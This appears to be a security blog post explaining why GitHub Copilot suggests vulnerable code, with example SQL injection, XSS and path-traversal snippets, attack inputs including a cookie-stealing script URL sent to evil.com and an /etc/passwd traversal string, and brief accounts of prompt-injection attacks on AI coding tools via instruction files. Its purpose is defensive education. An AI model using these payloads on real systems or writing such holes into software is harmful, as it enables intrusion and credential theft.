alicesec
Back to Blog
AI Security

Why GitHub Copilot Suggests Vulnerable Code (And How to Spot It)

AliceSec Team
••6 min read

GitHub Copilot has revolutionized how developers write code. With over 1.3 million paid subscribers and integration into every major IDE, AI-assisted coding is no longer the future—it's the present. But there's a critical problem that many developers overlook: Copilot frequently suggests vulnerable code, and research shows it happens more often than you might think.

In this deep dive, we'll examine the security vulnerabilities in GitHub Copilot-generated code, backed by peer-reviewed research, real-world CVEs, and concrete examples. Whether you're a developer using Copilot daily or a security professional evaluating AI coding tools, understanding these risks is essential.

The Alarming Statistics

Multiple academic studies have quantified just how often AI coding assistants generate insecure code:

  • 40% of Copilot-generated code contains vulnerabilities according to NYU Tandon's cybersecurity research team, who analyzed 1,692 programs across 89 scenarios
  • 37.35% vulnerability rate found in the "Asleep at the Keyboard" study, which tested 407 Copilot-generated programs against CWE Top 25 weaknesses
  • 29.5% of Python and 24.2% of JavaScript snippets from real GitHub projects contained security weaknesses, per ACM research
  • 62% of C programs generated by LLMs contained at least one security vulnerability in a study of 330,000 programs

Perhaps most concerning: a Stanford study found that developers using AI assistants were more likely to submit insecure code AND more confident about its security than developers coding without AI help.

How Copilot Learns Bad Habits

To understand why Copilot suggests vulnerable code, you need to understand how it learns. Copilot is trained on billions of lines of public code from GitHub repositories. This training data includes:

  • Legacy code written before modern security practices
  • Tutorials and examples that prioritize simplicity over security
  • Abandoned projects with known vulnerabilities
  • Stack Overflow answers (some outdated or incorrect)

When you prompt Copilot for a database query, it's drawing from patterns it learned—including the thousands of SQL injection vulnerabilities sitting in public repositories. The AI doesn't understand security; it predicts what code typically follows your prompt based on statistical patterns.

Real Examples of Vulnerable Suggestions

SQL Injection (CWE-89)

Here's what Copilot might suggest when you ask for a login function:

javascript
// Copilot suggestion - VULNERABLE
async function loginUser(username, password) {
  const query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
  const result = await db.execute(query);
  return result.rows[0];
}

This classic SQL injection vulnerability allows an attacker to bypass authentication with a username like admin'--. Snyk Labs demonstrated that Copilot can even amplify existing vulnerabilities in your codebase by learning from your insecure patterns and replicating them elsewhere.

The secure version uses parameterized queries:

javascript
// Secure version - use this instead
async function loginUser(username, password) {
  const query = "SELECT * FROM users WHERE username = $1 AND password = $2";
  const result = await db.execute(query, [username, password]);
  return result.rows[0];
}

Cross-Site Scripting (CWE-79)

In testing by Invicti, Copilot suggested XSS vulnerabilities when generating simple web pages:

javascript
// Copilot suggestion - VULNERABLE
app.get("/search", (req, res) => {
  const query = req.query.q;
  res.send("<h1>Search results for: " + query + "</h1>");
});

The user input is directly reflected in the HTML response without sanitization, enabling reflected XSS attacks. An attacker could craft a URL like /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>.

Path Traversal (CWE-22)

python
# Copilot suggestion - VULNERABLE
def get_file(filename):
    with open(f"uploads/{filename}", "r") as f:
        return f.read()

Without path validation, an attacker can read arbitrary files with ../../../etc/passwd.

Beyond Code Generation: New Attack Vectors

In 2025, security researchers discovered vulnerabilities in Copilot itself—not just the code it generates:

The "Rule Files Backdoor" Attack

In March 2025, Pillar Security discovered that attackers could manipulate Copilot through compromised configuration files. By injecting malicious instructions into .github/copilot-instructions.md files, attackers could cause Copilot to generate backdoored code that appears legitimate to developers.

IDEsaster Vulnerabilities

Security researcher Ari Marzouk discovered over 30 vulnerabilities across major AI coding tools, resulting in 24 CVEs including:

  • CVE-2025-53773 (GitHub Copilot): Prompt injection allowing code execution
  • CVE-2025-54130 (Cursor): Settings manipulation through malicious prompts
  • CVE-2025-49150 (Cursor): Sensitive file leakage via JSON schema requests

These vulnerabilities affect millions of developers and demonstrate that AI coding tools introduce attack surface beyond just the generated code.

Why Copilot's Code Review Misses the Mark

GitHub introduced Copilot Code Review to help catch issues before they reach production. However, a 2025 study found it frequently fails to detect critical vulnerabilities like SQL injection, XSS, and insecure deserialization. Instead, it primarily flags low-severity issues like coding style and typos.

This creates a dangerous false sense of security—developers may assume their code has been security-vetted when critical vulnerabilities remain undetected.

6 Best Practices for Secure AI-Assisted Development

1. Never Trust, Always Verify

Treat every Copilot suggestion as untrusted input. Review each suggestion with security in mind, especially for:

  • Database queries
  • User input handling
  • Authentication logic
  • File system operations
  • API integrations

2. Use Dedicated Security Scanning

As Snyk recommends: "Security scanning should be done by a security tool that isn't the same tool that's writing the code." Implement tools like:

  • CodeQL for static analysis
  • Snyk for dependency and code scanning
  • Semgrep for custom security rules

3. Enable GitHub's Built-in Protections

Copilot now includes some security features:

  • Secret scanning to detect exposed API keys
  • Dependency vulnerability checks against the GitHub Advisory Database
  • CodeQL analysis on generated code

Enable these in your repository settings under Code Security.

4. Craft Security-Conscious Prompts

Research shows developers who engage more with their prompts produce fewer vulnerabilities. Instead of vague requests, be explicit:

text
// Bad prompt
"Write a function to query users"

// Better prompt
"Write a function to query users using parameterized queries to prevent SQL injection. Use prepared statements and validate input length."

5. Know the Common Vulnerability Patterns

Train yourself to recognize AI-generated vulnerabilities:

  • String concatenation in SQL queries
  • Unsanitized user input in HTML output
  • Hardcoded credentials or API keys
  • Missing input validation
  • Insecure cryptographic implementations

6. Use Custom Security Instructions

Create project-specific instruction files (like .github/copilot-instructions.md) that enforce security requirements:

markdown
## Security Requirements
- Always use parameterized queries for database operations
- Sanitize all user input before rendering in HTML
- Use secure random number generation for tokens
- Never log sensitive data like passwords or API keys

The Bottom Line

GitHub Copilot is a powerful productivity tool, but it's not a security tool. The statistics are clear: 25-40% of AI-generated code contains security vulnerabilities, and developers using these tools often feel more confident despite producing less secure code.

The solution isn't to abandon AI coding assistants—it's to use them responsibly with proper security guardrails. Every Copilot suggestion should be treated as a starting point, not a finished product.

"AI assistants should be viewed with caution because they can mislead inexperienced developers and create security vulnerabilities." — Stanford Security Research

Ready to test your ability to spot vulnerable code? Try our security challenges at AliceSec, where you can practice identifying and exploiting common vulnerabilities in a safe environment.

Sources

Stay ahead of vulnerabilities

Weekly security insights, new challenges, and practical tips. No spam.

Unsubscribe anytime. No spam, ever.